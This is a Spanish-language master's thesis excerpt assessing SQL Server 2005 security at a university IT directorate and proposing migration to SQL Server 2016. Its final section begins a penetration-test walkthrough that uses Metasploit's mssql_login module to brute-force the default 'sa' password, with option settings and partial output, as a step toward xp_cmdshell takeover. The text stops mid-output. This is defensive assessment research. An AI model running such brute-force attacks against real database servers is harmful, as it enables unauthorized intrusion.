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RESUMEN EJECUTIVO

El presente trabajo de investigacidn tiene por objeto determinar la incidencia de las
caracteristicas de SQL Server 2005 en la seguridad de los datos de la Direccion de
Tecnologia de Informacién y Comunicacion (DITIC) de la Universidad Técnica de
Ambato (UTA).

La DITIC es la encargada del control, almacenamiento y seguimiento de la
informacion generada por los sistemas de informacion de la universidad, gestion
que se la realiza casi en su totalidad a través del Sistema Gestor de Base de Datos
(SGBD) SQL Server 2005, cuyas caracteristicas no permiten salvaguardar la

integridad, consistencia y disponibilidad de los datos en la DITIC.
Se detectaron vulnerabilidades en SQL Server 2005 que comprometen la seguridad

de los datos en la DITIC, vulnerabilidades que pueden ser aprovechadas por

atacantes para causar dafios en los datos de la direccion.
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Se plantea como propuesta de solucion al problema planteado, una guia para
migracion segura de datos desde SQL Server 2005 a SQL Server 2016 en la DITIC
de la UTA,; que direccione y asegure de alguna manera el éxito de una migracion,
y por ende permita la migracion a SQL Server 2016 de las bases de datos de la
DITIC.

Descriptores: Base de Datos, Migracion de Base de Datos, Seguridad de Base de
Datos, Auditoria de Base de Datos, Vulnerabilidades, Amenazas, SQL Server, ETL,

Guia, Traslado de Datos.
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EXECUTIVE SUMMARY

The purpose of this research work is to determine the incidence of the SQL Server
2005 characteristics in the data security of the Department of Information and
Communication Technology (DITIC) of the Technical University of Ambato
(UTA).

The DITIC, is responsible of the control, storage and monitoring of the information
generated by the information systems of the university, management that is carried
out almost entirely through the Database Management System (SGBD) SQL Server
2005, whose characteristics do not allow to safeguard the integrity, consistency and
availability of data in the DITIC.

Vulnerabilities were detected in SQL Server 2005 that compromise the security of

the data in the DITIC, vulnerabilities that can be exploited by attackers to cause

damage to the address data.
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It is proposed as a solution proposal to the problem, a guide for secure data
migration, from SQL Server 2005 to SQL Server 2016 in the DITIC of the UTA,;
that directs and assures in some way the success of a migration, and therefore allows

the migration to SQL Server 2016 of the databases of the DITIC.

Keywords: Database, Database Migration, Database Security, Database Audit,
Vulnerabilities, Threats, SQL Server, ETL, Guide, Data Transfer.
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INTRODUCCION

La presente investigacion es de mucha importancia porque se analizard el
rendimiento, escalabilidad, disponibilidad, seguridad y demés caracteristicas de
SQL Server 2005; y su incidencia en la seguridad de los datos de la DITIC, con la
finalidad de plantear una propuesta factible que satisfaga las necesidades de esta

Direccién y por ende de la Universidad Técnica de Ambato.

En el CAPITULO I se identifica el problema a investigar, ademas se plantea la

justificacion y los objetivos.

En el CAPITULO Il se presentan los antecedentes investigativos, la
fundamentacion legal, hipétesis y el sefialamiento de variables.

En el CAPITULO Ill se determina la metodologia de investigacion a utilizar,
el enfoque, la modalidad bésica de la investigacion, el tipo de investigacion, la

poblacion y muestra.

En el CAPITULO IV se realiza el analisis e interpretacion de los resultados
obtenidos de las diversas técnicas y métodos utilizados en la presente investigacion

(Entrevistas, Encuestas etc.)

En el CAPITULO V se plantea las conclusiones y recomendaciones de la

investigacion del problema planteado.
En el CAPITULO VI se desarrolla la propuesta, la misma que contiene:
antecedentes, objetivos de la propuesta, analisis de factibilidad, fundamentacion,

metodologia de desarrollo de la propuesta, conclusiones y recomendaciones.

Finalmente se encuentra la bibliografia y los respectivos anexos.



CAPITULO |
EL PROBLEMA DE INVESTIGACION

1.1. Tema de investigacion

Las caracteristicas de SQL Server 2005 y su incidencia en la seguridad de los datos

de la Direccion de Tecnologia de Informacion y Comunicacion de la UTA.

1.2. Planteamiento del problema

1.2.1. Contextualizacion

1.2.1.1. Macro contextualizacion

Desde la década de los sesenta y con més enfasis en los dltimos 20 afos, las
universidades en el mundo han puesto énfasis en que la informacion originada en
sus operaciones y actividades es un activo sumamente valioso y el mejor acceso a
la misma se ha convertido en un ingrediente para la evolucion de la educacion
(Barcos, 2008). Lo que ha originado una mayor inversidn en recursos para mejorar
los sistemas de informacion, el rendimiento y accesibilidad de los datos, y evitar

ataques que vulneren la seguridad de los mismos.

1.2.1.2. Meso contextualizacién

Desde el afio 2009 organismos de control como el CONESUP actualmente
SENESCYT, CES, CEAACES y SENPLADES han solicitado a las Universidades
del Ecuador informacion referente a estudiantes, docentes, administrativos,
infraestructura, vinculacion con la sociedad, investigacion, servicios universitarios,
graduados, carreras, obligando a éstas a mejorar sus sistemas de informacién, frente

a estos nuevos requerimientos.



1.2.1.3. Micro contextualizacién

La Universidad Técnica de Ambato con la finalidad de poder cumplir con los
requerimientos solicitados por varios organismos de control, se encuentra
integrando sus bases de datos, desarrollando nuevos sistemas de informacién, pero
con una vision integrada, evaluando (el rendimiento, la tolerancia a fallos, la
capacidad de procesamiento, etc.) sus SGBD, dejando en evidencia las

caracteristicas en la seguridad de la informacion y el rendimiento.

1.2.2. Analisis critico

La DITIC utiliza a SQL Server 2005 para la gestion de los datos académicos de la
Universidad Técnica de Ambato, SGBD que a partir de abril de 2016 dejé de recibir
soporte (actualizaciones y revisiones de seguridad muy importantes); exponiendo a
las bases de datos gestionadas por mencionado motor a posibles ataques

informaticos exitosos y robo de informacion.

La integracién de los sistemas de informacion académica y el incremento o
evolucion de los requerimientos en la universidad han ocasionado el deterioro en el
rendimiento del SGBD SQL Server 2005, se ha hecho notorio el aumento de los
tiempos de respuestas en el procesamiento de informacion; mayor consumo de
hardware en operaciones de: consulta, actualizacion, eliminacion e insercion de

datos, entre otras.

SQL Server 2005 es un motor muy potente desarrollado bajo las exigencias de su
época, almacenamiento, procesamiento, capacidad de respuesta, entre otras;
capacidades que con el tiempo dejan en evidencia su discontinuidad y han obligado
a la DITIC a solventar de alguna manera esta problematica incrementando recursos
(hardware y software) en el mantenimiento de esta version de SGBD utilizada para

la gestién de los datos académicos.



En el gréfico 1, se ilustra el arbol del problema.

Ataques Robo de Baja en el Mayor consumo de
informéticos informacion rendimiento recursos para
exitosos mantenimiento

EFECTd@x\\\ ////’

Vulnerabilidades en la seguridad de los datos en la

DITIC de la UTA.
CAUSAS \\\x
SQL Server 2005 Aumento de Capacidades
sin soporte requerimientos descontinuadas de
SQL Server 2005

Gréfico 1. Relacion Causa — Efecto
Elaborado por: Investigador

1.2.3. Prognosis

Si el problema persiste se puede tener consecuencias mas graves como: robo y
copias no autorizadas de los datos, adulteracion, sabotaje, fallas criticas en el
software y hardware; que concluirian en la suspension de los servicios acadéemicos

proporcionados por la DITIC de la UTA.

1.2.4. Formulacién del problema

¢Incide las caracteristicas de SQL Server 2005 en la seguridad de los datos de la

Direccion de Tecnologia de Informacion y Comunicacion de la UTA?
1.2.5. Interrogantes
¢Cuales son las caracteristicas de SQL Server 2005?

¢Cudles son las vulnerabilidades en la seguridad de los datos de la DITIC?
¢Se puede implementar una solucion factible al problema planteado?



1.2.6. Delimitacion del objeto de investigacion

Campo: Base de datos
Area: Caracteristicas de SQL Server 2005
Aspecto: Seguridad de los datos de la DITIC

1.2.6.1. Delimitacion espacial

Direccién de Tecnologia de Informacion y Comunicacion de la UTA.

1.2.6.2. Delimitacion temporal

Desde noviembre 2016 a noviembre 2017.

1.3. Justificacion

La informacion es parte fundamental del desarrollo de toda organizacion y su
correcta gestion va de la mano con la utilizacion de herramientas tecnoldgicas
adecuadas, herramientas que con el paso del tiempo pueden descontinuarse y no
ofrecer las garantias que afios atras lo hicieron. En el caso de los SGBD, es de vital
importancia que éstos brinden la escalabilidad y seguridad requerida por la

organizacion.

Hoy en dia la diversidad de entornos, las multiples plataformas y la evolucién de
las redes; han provocado que cada vez sea mas complejo el resguardo de los datos;
los sistemas de informacién tienen que enfrentar constantes ataques informaticos.
Las empresas proveedoras de software invierten mas recursos en la seguridad de

sus productos, reflejandose en actualizaciones o desarrollo de nuevas versiones.

La presente investigacion serd de mucho beneficio e interés, porque se buscara
determinar la incidencia de las caracteristicas de SQL Server 2005 en la seguridad
de los datos de la DITIC de la UTA.



El proyecto es factible técnicamente porque, la DITIC cuenta con el hardware y el
licenciamiento necesario del software a utilizar, en cuanto a la investigacion se
cuenta con las facilidades de la informacion por parte del personal de gestion como

por las autoridades universitarias.

El proyecto es factible econdmicamente porque, se dispone de los recursos y el

equipo necesario para la investigacion.

EL proyecto de investigacion es factible operativamente porque, basado en la
experiencia del investigador y en los conocimientos adquiridos en gestion de bases

de datos, la investigacion se la puede realizar.

1.4. Objetivos

1.4.1. Objetivo general

Determinar la incidencia de las caracteristicas de SQL Server 2005 en la seguridad
de los datos de la Direccion de Tecnologia de Informacion y Comunicacion de la
UTA.

1.4.2. Obijetivos especificos

¢ Analizar las caracteristicas de SQL Server 2005.

o Determinar las vulnerabilidades en la seguridad de los datos de la DITIC.

e Implementar una solucién factible al problema planteado.



CAPITULO II

MARCO TEORICO

2.1 Antecedentes investigativos

Luego de revisar informacion del problema investigado se encontrd la siguiente

informacion:

En la Facultad de Ingenieria en Sistemas, Electrdnica e Industrial de la Universidad
Técnica de Ambato, en el afio 2012, la investigadora Susana Caraguay, investigo
en laempresa VSYSTEMS, el tema: “METODOLOGIA PARA MIGRACION DE
DATOS QUE PERMITA ASEGURAR Y CONSERVAR LA INTEGRIDAD Y
CONSISTENCIA DE LA INFORMACION ADMINISTRADA POR LA
EMPRESA VSYSTEMS”, la investigadora hizo una investigacion de campo en la
empresa con el objetivo de establecer una metodologia de migracion de datos que
asegure la conservacion de integridad y consistencia de informacion administrada
por la empresa VSYSTEMS, llegando a la conclusion de que la aplicacion de una
metodologia desarrollada a medida permite ahorro de costos, ya que reduce tiempos

improductivos de los sistemas asociados a la base de datos migrada.

En la Facultad de Ingenieria en Sistemas, Electrénica e Industrial de la Universidad
Técnica de Ambato, en el afio 2014, el investigador Milton Navas, investigo en la
Universidad de las Fuerzas Armadas (ESPE) extension Latacunga, el TEMA; “LA
ADMINISTRACION DE LOS SGBD’S DE LOS SISTEMAS DE
INFORMACION Y SU INCIDENCIA EN EL CONTROL DE LAS
SEGURIDADES DE LAS BASES DE DATOS DE LA UNIVERSIDAD DE LAS
FUERZAS ARMADAS ESPE EXTENSION LATACUNGA”, llegando a la
conclusion de que los sistemas de informacion de la ESPE extension Latacunga
deberian ser migrados a herramientas de ultima generacion o SGBD’s que

dispongan de seguridades propias.



2.2 Fundamentacion filos6fica

La presente investigacion se enmarca en el paradigma Critico Propositivo, es critico
porque realiza un anélisis critico del problema, y es Propositivo porque busca
proponer una solucion factible al problema.

2.3 Fundamentacion legal

La Ley del Sistema Nacional de Registro de Datos publicos en el Capitulo Il

Principios Generales del Registro de Datos publicos establece:

e Art. 4. “Las instituciones del sector publico y privado y las personas naturales
que actualmente o en el futuro administren bases o registros de datos publicos,
son responsables de la integridad, proteccion y control de los registros y bases
de datos a su cargo. Dichas instituciones responderan por la veracidad,
autenticidad, custodia y debida conservacion de los registros. La responsabilidad
sobre la veracidad y autenticidad de los datos registrados, es exclusiva de la o el

declarante cuando ésta o éste provee toda la informacion”.

e Art. 26. “Toda base informéatica de datos debe contar con su respectivo archivo
de respaldo, cumplir con los estandares técnicos y plan de contingencia que
impidan la caida del sistema, robo de datos, modificacion o cualquier otra

circunstancia que pueda afectar la informacion publica™.

En el reglamento de estudios de posgrado (CEPOS) de la Universidad Técnica de

Ambato, en el Capitulo Il De la Organizacion, establece:

e Art. 75. “Para optar por el Titulo de Diploma Superior, Especialista o el grado
académico de Magister, los estudiantes tendran que realizar un trabajo de
investigacion para cada caso y sustentarlo ante un tribunal. (Res. 881-CU-P-
2009, de julio 15/2009)”



e Art. 76. “Previo a la realizacion del trabajo de investigacion para Titulacion o
Graduacién se debera planificar el mismo mediante un Proyecto de Trabajo
Investigacion para Titulacién o Graduacion, de acuerdo con el esquema de
elaboracion de Proyectos de Investigacion aprobado por el H. Consejo

Universitario...”

2.4 Categorias fundamentales

Las categorias fundamentales se ilustran en el grafico 2.

Categorias de la variable independiente

Base de datos relacionales

Una base de datos relacional consiste en un conjunto de tablas, a cada una de las
cuales se le asigna un nombre exclusivo. Cada fila de la tabla representa una
relacion entre un conjunto de valores. Dado que cada tabla es un conjunto de dichas
relaciones, hay una fuerte correspondencia entre el concepto de tabla y el concepto
matematico de relacion, del que toma su nombre el modelo de datos relacional
(Silberschatz, Korth & Sudarshan, s.f., p.53).

Jiménez (2015), sefiala que el modelo de datos relacional consta de 3 aspectos

fundamentales:

Estructura de los datos: compuesta por dominio, atributos, tuplas (registros o
filas) y relaciones.

Integridad de los datos: reglas que se aplican a relaciones base e informan al
Sistema Gestor de Base de Datos de ciertas restricciones.

Manipulacion de datos: la manipulacion de relaciones se realiza a través de
un lenguaje de consulta, que consiste en un lenguaje que utiliza el usuario
para manejar la informacion (p. 7).



Superordinacién

Base de datos
relacionales

Sistemas
gestores de
base de datos

Caracteristicas
de SQL Server
2005

Variable independiente

Gréfico 2. Inclusiones conceptuales — Organizador ldgico de variables
Elaborado por: Investigador

Subordinacién

VAN

Sistemas de
informacion

Seguridad
informatica

Seguridad de los
datos

Incide

Variable dependiente
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Basicamente un modelo relacional es un conjunto de tablas relacionadas entre si,
cuya estructura de datos esta compuesta por: dominio, atributos, tuplas y relaciones;

su estructura esta orientada a la integridad de datos.

Sistemas gestores de base de datos

Heredero y Lopez (2004), definen a los SGBD como:

Un conjunto de programas que gestionan la estructura de la base de datos y
controlan los posibles accesos de los datos alli albergados. Los sistemas
gestores de bases de datos permiten compartir los datos de una determinada
base de datos a un conjunto de aplicaciones o usuarios. El sistema gestor de
base de datos es en realidad un intermediario entre el usuario y la base de
datos. Traduce los requerimientos del usuario del lenguaje complejo que se
requiere para conseguir esa informacion (p. 272).

Cobo (s.f.), define a los SGBD como:

Un software o conjunto de programas que permite crear y mantener una base
de datos. EI SGBD actua como interfaz entre los programas de aplicacion
(usuarios) y el sistema operativo. EI Objetivo Principal de un SGBD es
proporcionar un entorno eficiente a la hora de almacenar y recuperar la
informacion de la base de datos (p. 7).

Un SGBD es un software que permite al usuario interactuar con la base de datos;
facilita el acceso, brinda seguridad, permite operaciones de almacenamiento,
actualizacion, eliminacion y consulta de los datos; en definitiva, permite la gestion
de la o las bases de datos. Existen varios SGBD disponibles en el mercado, su
seleccidn dependera de las necesidades y recursos de la institucion u empresa que

lo requiera.

Cobo (s.f.), manifiesta que los objetivos de un SGBD son los siguientes:

Abstraccion de la informacién

Consiste en proporcionar a los usuarios una vision abstracta de la
informacién, es decir, el sistema ahorra al usuario la necesidad de conocer los
detalles de como se almacena los datos.

11



Independencia
Es la capacidad para modificar un esquema de definicion sin afectar a los
programas de aplicacion.

Redundancia minima
Consisten en evitar el almacenamiento multiple de una misma informacion
para uso de distintas aplicaciones.

Consistencia
Consiste en impedir que exista informacion inconsistente o contradictoria en
la base de datos.

La inconsistencia surge cuando existen varias copias del mismo dato y tras la
modificacion de una de ellas, las demas no son actualizadas, o si los son, pero
de forma incorrecta.

Seguridad
El SGBD debe garantizar la proteccion de la informacién, controlando el
acceso Yy la manipulacion de las distintas aplicaciones y usuarios.

El SGBD debe disponer de un robusto Subsistema de seguridad y
autorizacion, mediante el cual el Administrador pueda crear usuarios y
niveles de seguridad.

Integridad
Mantener la integridad es asegurar que la informacion almacenada y utilizada
por una aplicacion es correcta, es decir, refleja fielmente la realidad (p. 9).

SQL Server

Definiciones:

“Es un sistema para administracion de bases de datos que posee una arquitectura
cliente/servidor. Utiliza el lenguaje de consulta Transact-SQL para recibir
comandos desde los clientes que se conecten a él, y ofrece una gran variedad de
herramientas y servicios para desarrollar y administrar bases de datos de distintos
tamafos y complejidad” (Gradi, 2008, p. 161).

“SQL Server es el sistema de base de datos profesional de Microsoft. Contiene una
variedad de caracteristicas y herramientas que se pueden utilizar para desarrollar y
administrar bases de datos y soluciones de todo tipo basadas en ellas” (Pérez, 2011,
p.13).

12



Versiones:

SQL Server fue desarrollado por Microsoft, empresa que habitualmente crea nuevas
versiones de SQL Server cada cierto tiempo y cada version es mejorada mediante
Service Packs, en el cuadro 1, queda notorio la finalizacion del soporte del ultimo
Service Pack (mejora) de la version 2005 de SQL Server.

Version Ultimo service pack Fecha Finalizacién | Cuenta con
lanzamiento soporte soporte
extendido
SQL Server SQL Server 2016 SP1 1/6/2016 14/7/2024 Sl
2016
SQL Server SQL Server 2014 SP2 5/6/2014 9/7/2024 Sl
2014
SQL Server SQL Server 2012 SP3 20/5/2012 12/7/2022 Sl
2012
SQL Server SQL Server 2008 R2 10/7/2010 9/7/2019 Sl
2008 R2 SP3
SQL Server SQL Server 2008 SP4 7/11/2008 9/7/2019 Sl
2008
SQL Server SQL Server 2005 SP4 14/1/2006 12/4/2016 NO
2005

Cuadro 1. Versiones de SQL Server
Elaborado por: Investigador

Fuente: https://support.microsoft.com/en-us/lifecycle/search?alpha=Microsoft%20SQL%20Server
9202016

Caracteristicas de SQL Server 2005

e Soporte

El 12 de abril de 2016 llego el final del soporte extendido de SQL Server 2005 y
Microsoft no lanzara parches para vulnerabilidades de seguridad u otros errores en
la version. Esto significa que SQL Server 2005 serd cada vez mas vulnerable a
ataques (Snodgrass, 2014).

Snodgrass (2014), manifiesta que:

SQL Server 2005 ha seguido recibiendo parches de seguridad durante el
ultimo afio, por lo que es probable que las vulnerabilidades ain no sean
descubiertas y explotadas por los atacantes. Los sistemas sin parches también
podrian presentar nuevos problemas de compatibilidad a medida que una
organizacion actualiza configuraciones y aplicaciones, lo que podria poner en
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peligro la capacidad de seguir ejecutando las aplicaciones de la organizacion
en el motor de base de datos.

SQL Server contiene muchos componentes y menudo se conecta a una gama
de otras aplicaciones y dispositivos, todos los cuales pueden estar expuestos
a riesgos a través de una conexion no admitida. Los riesgos potenciales
incluyen el robo de datos, la corrupcion y la destruccién de datos, acceso no
supervisado y la imposibilidad de ejecutar las aplicaciones necesarias (p. 3).

¢ Niveles de seguridad

Microsoft (s.f.-a), sefiala sobre los niveles de seguridad que:

SQL Server 2005 administra una coleccién jerarquica de entidades que se
pueden proteger mediante permisos. A dichas entidades se las conoce como
“asegurables”.

Las entidades asegurables mas destacadas son los servidores y las bases de
datos, aungue se pueden definir permisos discretos con un mayor nivel de
precision. SQL Server regula las acciones de los principales sobre las
entidades asegurables comprobando que se les ha otorgado los permisos
adecuados.

Las entidades asegurables son aquellos recursos cuyo acceso esté regulado
por el sistema de autorizaciones de SQL Server. Algunas entidades
asegurables pueden estar contenidas dentro de otras, dando lugar a jerarquias
anidadas llamadas “4mbitos” que, a su vez, se pueden proteger. Los ambitos
se clasifican en:

Servidor:

Contiene las siguientes entidades asegurables:
¢ Inicios de sesion

e Bases de datos

¢ Notificaciones de eventos

Base de datos

Contiene las siguientes entidades asegurables:
e Usuarios

e Funciones
e Funciones de aplicacion
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e Esquema
e Ensamblados

Esquema
Contiene las siguientes entidades asegurables:

Tabla

Vista

Funcion
Procedimiento
Tipo

Regla

Valor por defecto
Sinénimos

e Cifrado de datos

“SQL Server 2005 tiene una infraestructura de cifrado jerarquica y administracion
de claves. Cada capa se encarga de cifrar a las capas inferiores utilizando una

combinacion de certificados, claves simétricas y asimétricas” (Duefias, s.f.).

El cifrado de datos se lo realiza a nivel de servidor. En la imagen 1, se ilustra el

proceso de cifrado:

@ Nivel Windows
La clave maestra del servicio se cifra

ﬁ con Windows DPAPT
Nivel de SQL Server \

‘ Clave maestra del servicio |

G Nivel de base de datos

‘ Clave maestra de la base de datos

I
Certificados |
Claves simétricas

Claves simétricas ‘

Claves asimétricas

Claves simétricas

Datos |

Imagen 1. Niveles de seguridad
Fuente: https://msdn.microsoft.com/es-es/library/bb972194.aspx
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e Modo auditoria C2

Segun, Clemente (2010), SQL Server 2005 cuenta con el modo auditoria c2 para

realizar auditoria, el mismo que:

Registra tanto los intentos sin éxito como los intentos con éxito de accesos a
instrucciones y objetos del servidor y base de datos, es decir, registra el apagado
y encendido del SGBD, los intentos de inicio de sesion de los usuarios, el acceso
de los usuarios a los diferentes objetos de la base de datos (tablas, vistas,
registros, etc.) teniendo en cuenta los permisos que tienen, la sentencias de los
lenguajes de manipulacion de datos (DML) o de definicion de datos (DDL) o de
control de acceso (DCL); el hecho de recoger tanta informacién tiene como
consecuencia el rapido crecimiento del tamafio del fichero de almacenamiento y
una disminucion en el rendimiento del SGBD (p. 25).
En este tipo de auditoria no es posible elegir qué auditar, basicamente audita todo

0 nada.

e Roles de servidor

Los roles de servidor son roles fijos preestablecidos por SQL Server 2005 (no se
puede agregar mas roles), cada miembro de este role puede agregar otros inicios de
sesion a éste. Los roles fijos de servidor son: bulkadmin, dbcreator, diskadmin,
processadmin, securityadmin, serveradmin, setupadmin, sysadmin y public
(Microsoft, s.f.-b).

e Bases de datos dependientes

Las bases de datos en SQL Server 2005 no son objetos independientes, cuentan con
metadatos y configuraciones que para su funcionamiento dependen de otros objetos,
un claro ejemplo, son: los inicios de sesidn y contrasefias. Problematica que se
denota en la migracion de base de datos a otras instancias en las que si una base de
datos es transferida a otra instancia lo méas probable es que no se pueda acceder a
ella, hasta que también los inicios de sesién y contrasefias sean transferidos
(Microsoft, s.f.-c).
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e Copias de seguridad

“SQL Server provee un componente denominado “Copia de seguridad” y en esencia
es utilizado para para proteger los datos almacenados en las bases de datos. Las
copias de seguridad se las puede utilizar para restaurar y recuperar los datos después
de un error” (Microsoft, 2016a).

Segun, Microsoft (2006), sefiala los siguientes tipos de copias de seguridad:

Completa

Una copia de seguridad completa incluye todos los datos de una base de datos
determinada o un conjunto de grupos de archivos o archivos, asi como una
cantidad suficiente del registro como para permitir la recuperacion de datos.

Diferencial

Una copia de seguridad diferencial se basa en la Gltima copia de seguridad
completa de los datos. Una copia de seguridad diferencial incluye sélo los
datos que han cambiado desde la ultima base diferencial.

El uso de copias de seguridad diferenciales acelera el proceso de realizacion
de copias de seguridad. En el momento de la restauracion, se restaura primero
la copia de seguridad completa, seguida de la copia de seguridad diferencial
mas reciente.

Registro de transacciones

Gracias a las copias de seguridad de registros es posible recuperar la base de
datos en el punto en que se haya producido el error o en un momento dado.

Es aconsejable realizar copias de seguridad de registros suficientemente
regulares para ajustarse a los requisitos de la empresa o institucion,
especificamente a la tolerancia de la pérdida de trabajo que una unidad de
registro dafiada podria provocar.

Las copias de seguridad son un mecanismo de defensa que ofrece SQL Server 2005,
que sumado a una buena administracion de base de datos, permiten reducir el riesgo

de perdida de informacion ante un desastre.
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Categorias de la variable dependiente

Seguridad de los datos

Gonzélez (2014), sefiala que:

La seguridad de los datos tiene como fin la proteccion de éstos y de los
sistemas de la informacion, el acceso, uso, divulgacion, la no interrupcién y
evitar la destruccion no autorizada.

La seguridad de los datos, seguridad informatica y garantia de la informacion
son términos que, aunque su significado no sea el mismo, buscan una misma
finalidad al proteger la confidencialidad, integridad y disponibilidad de la
informacion.

La seguridad de los datos conlleva crear y aplicar una serie de estrategias que
cubran los procesos de donde los datos son el activo primordial. Estas
estrategias deben fijar el establecimiento de politicas, controles de seguridad,
y procedimientos para detectar amenazas que puedan explotar
vulnerabilidades y que pongan en riesgo dichos datos; es decir, que ayuden a
proteger y salvaguardar tanto informacion como los sistemas que almacenan
y gestionan.

Seguridad informatica

Garcia, Hurtado y Alegre (2011), sefialan que:

La seguridad informatica se puede definir como un conjunto de
procedimientos, dispositivos y herramientas encargadas de asegurar la
integridad, disponibilidad y privacidad de la informacién en un sistema
informaético e intentar reducir las amenazas que pueden afectar al mismo.
Dentro de la seguridad informatica podemos encontrar elementos y técnicas
tanto hardware, como software, asi como dispositivos fisicos y medios
humanos (p. 21).

Avilés (2015), sefiala que:

La seguridad de base de datos hereda las mismas dificultades a las que
enfrenta la seguridad informatica y es garantizar la integridad, disponibilidad
y confidencialidad de la informacion. Un Sistema Gestor de Base de Datos
debe suministrar los mecanismos que ayuden es esta tarea.
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A modo general, los mecanismos de seguridad se refieren a las reglas
impuestas por el subsistema de seguridad del SGBD, que verifica todas las
solicitudes de acceso, comparandolas con las restricciones de seguridad
almacenadas en el catalogo del sistema.

Sin embargo, existen brechas en el sistema y amenazas externas que pueden
comprometer a un servidor de base de datos o crear la posibilidad de robo de
datos confidenciales (p. 20).

En base a la gestion de informacion en la DITIC y la utilizacién de SQL Server
2005, se lograron determinar vulnerabilidades que pondrian en riesgo la
confiabilidad, integridad y disponibilidad de sus datos; cabe recalcar que es
imposible determinar todas las vulnerabilidades que podrian afectar la seguridad de

los mismos. A continuacion, se detalla las vulnerabilidades encontradas:

e Copias de seguridad de datos no cifradas.

Las copias de seguridad de las bases de datos en SQL Server 2005 se las realiza
periodicamente (diarias, quincenales, mensuales, etc.) dependiendo de la criticidad
de la informacién que gestionen mencionadas bases de datos, éstas pueden ser
completas o diferenciales. Una vez realizadas las copias de seguridad, éstas son
almacenadas en el mismo servidor de base de datos y en medios de almacenamiento
externos (DVD y discos duros externos). Por las caracteristicas de SQL Server 2005
no se puede cifrar las copias de seguridad y por ende su seguridad depende de las
medidas de almacenamiento y conservacion que se den a los medios de

almacenamiento.

Se denota que una copia de seguridad no cifrada puede ser facilmente vulnerada,

ésta puede ser simplemente abierta desde un editor de texto (bloc de notas).
e Auditoria débil
La DITIC cuenta con mecanismos personalizados para auditar sus datos

considerados de mayor importancia, a través de la ejecucion de disparadores a nivel

de base de datos. Los disparadores almacenan en tablas de auditoria las operaciones
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(INSERT, UPDATE y DELETE) realizadas en las tablas auditadas, adicionalmente
se guarda el usuario que realizé la operacién y la fecha. Solucion de auditoria basica
que no considera todos los objetos de las bases de datos y ademas no contempla

objetos a nivel de servidor que podrian ser cruciales en la superacion de incidentes.

e Terminacion de soporte

SQL Server 2005 desde el inicio de su ciclo de vida ha sido constantemente
actualizado y monitoreado por Microsoft, se han detectado y corregido
vulnerabilidades que comprometian la integridad, consistencia y disponibilidad de
los datos gestionados por mencionada versién. La explotacion de estas
vulnerabilidades permitia la elevacion de privilegios, denegacién de servicios,

ejecucion de malware entre otras.

Las actualizaciones y revisiones de seguridad descritos en el cuadro 2 han permitido
gue SQL Server 2005 siga funcionado y dando las garantias necesarias a sus
usuarios hasta el final de su ciclo de vida. Actualizaciones que también dan a notar
que el software esta propenso a nuevas amenazas que revelen nuevas
vulnerabilidades o errores no detectados en la versién, y por ende se vea afectada
la seguridad de los datos en la DITIC.

Boletin Fecha Descripcion
MS09-004 2/10/2009 Vulnerability in Microsoft
SQL Server Could Allow
Remote Code Execution
MS11-049 6/14/2011 Vulnerability in the Microsoft
XML Editor Could Allow
Information Disclosure
MS12-060 8/14/2012 Vulnerability in Windows
Common Controls Could
Allow Remote Code
Execution
MS12-027 4/12/2012 Vulnerability in Windows
Common Controls Could
Allow Remote Code
Execution

Cuadro 2. Boletines de seguridad — SQL Server 2005
Elaborado por: Investigador
Fuente: https://docs.microsoft.com/en-us/security-updates/securitybulletins/securitybulletins
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Boletin Fecha Descripcion
MS12-070 10/9/2012 Vulnerability in SQL Server
Could Allow Elevation of
Privilege
MS15-034 4/14/2015 Vulnerability in HTTP.sys
Could Allow Remote Code
Execution
MS10-086 10/12/2010 Vulnerability in Windows
Shared Cluster Disks Could
Allow Tampering
MS09-062 10/13/2009 Vulnerabilities in GDI+
Could Allow Remote Code
Execution
MS15-058 7/14/2015 Vulnerabilities in SQL Server
Could Allow Remote Code
Execution
MS14-044 8/12/2014 Vulnerabilities in SQL Server
Could Allow Elevation of
Privilege

Cuadro 2. (cont.)

EnlaDITIC, SQL Server 2005 cuenta con la instalacién de todas las actualizaciones
proporcionadas por Microsoft, pero aln con estas actualizaciones se pudo detectar
vulnerabilidades que pondrian en peligro la seguridad de los datos, las mismas que

se detallan a continuacion:

Vulneracion del procedimiento extendido “xp_cmdshell”

Herramientas utilizadas

Sistema operativo: Kali Linux

Software: Metasploit v4

Descripcion de la vulnerabilidad

La vulnerabilidad permite la escala de privilegios a través del procedimiento
extendido “xp_cmdshell”, es decir, un usuario con privilegios “sysadmin” puede a

través del procedimiento extendido ‘“xp_cmdshell” apoderarse del sistema

operativo donde reside el SGBD.
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Obtencidn del usuario con privilegios “sysadmin” en SQL Server

Para la vulneracion del procedimiento extendido “xp_cmdshell” es necesario contar
con los privilegios “sysadmin” en el SGBD, y existe un usuario predeterminado con

€s0s permisos, el usuario “sa”.

El exploit “mssql_login” permite realizar ataques de fuerza bruta utilizando
diccionarios para descifrar contrasefas, en este caso se descifrara la contrasefia del
usuario “sa” de SQL Server; desde luego el éxito dependerd de la robustez del

diccionario y la complejidad de la contrasefia del usuario buscado.

A manera de prueba se ilustra la manera como un atacante puede obtener la

contrasena “sa” de SQL Server.

1. Utilizar el exploit “mssql _login” para realizar el ataque. Ver grafico 3

root@kali: ~

File Edit View Search Terminal Help
msf auxiliary( ) > use auxiliary/scanner/mssql/mssql logi I

Grafico 3. Utilizacion exploit “mssql_login”
Elaborado por: Investigador

2. Parametrizar el exploit “mssqgl_login” con los siguientes parametros:

RHOSTS: IP del SGBD

USERNAME: Usuario a buscar la contrasefia

PASS_FILE: Archivo con el diccionario de contrasefias a comparar

RPORT: Puerto utilizado por el servicio de SQL Server (utilizar NMAP para el

escaneo de puertos del servidor). El puerto por defecto es: 1433.

En el gréfico 4, se ilustra los pardmetros registrados en el exploit “mssql_login”
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Module options (auxiliary/scanner/mssql/mssql login):

Name Current Setting Required
BLANK PASSWORDS

BRUTEFORCE SPEED

DB ALL CREDS

DB ALL PASS

DB ALL USERS

PASSWORD

PASS FILE /root/diccionario. txt
RHOSTS IP

RPORT 1433

STOP ON SUCCESS false

TDSENCRYPTION false

THREADS 1

USERNAME sa

USERPASS FILE

USER AS PASS false

USER FILE

USE WINDOWS AUTHENT false

VERBOSE true

Grafico 4. Configuracion exploit “mssql_login”
Elaborado por: Investigador

3. Ejecutar el exploit. Ver graficos 5y 6.

msf auxiliary( > exploit

[*]

[t]

if  EEEE MSSOL Starting authentication scannet

No active DB Credential data will not be saved!

1 1433 - IN FAILED: WORKSTATION\sa:@ (Incorrect:

1 : 1433 LOGIN FAILED: RKSTAT \sa:1 (Incorrect:

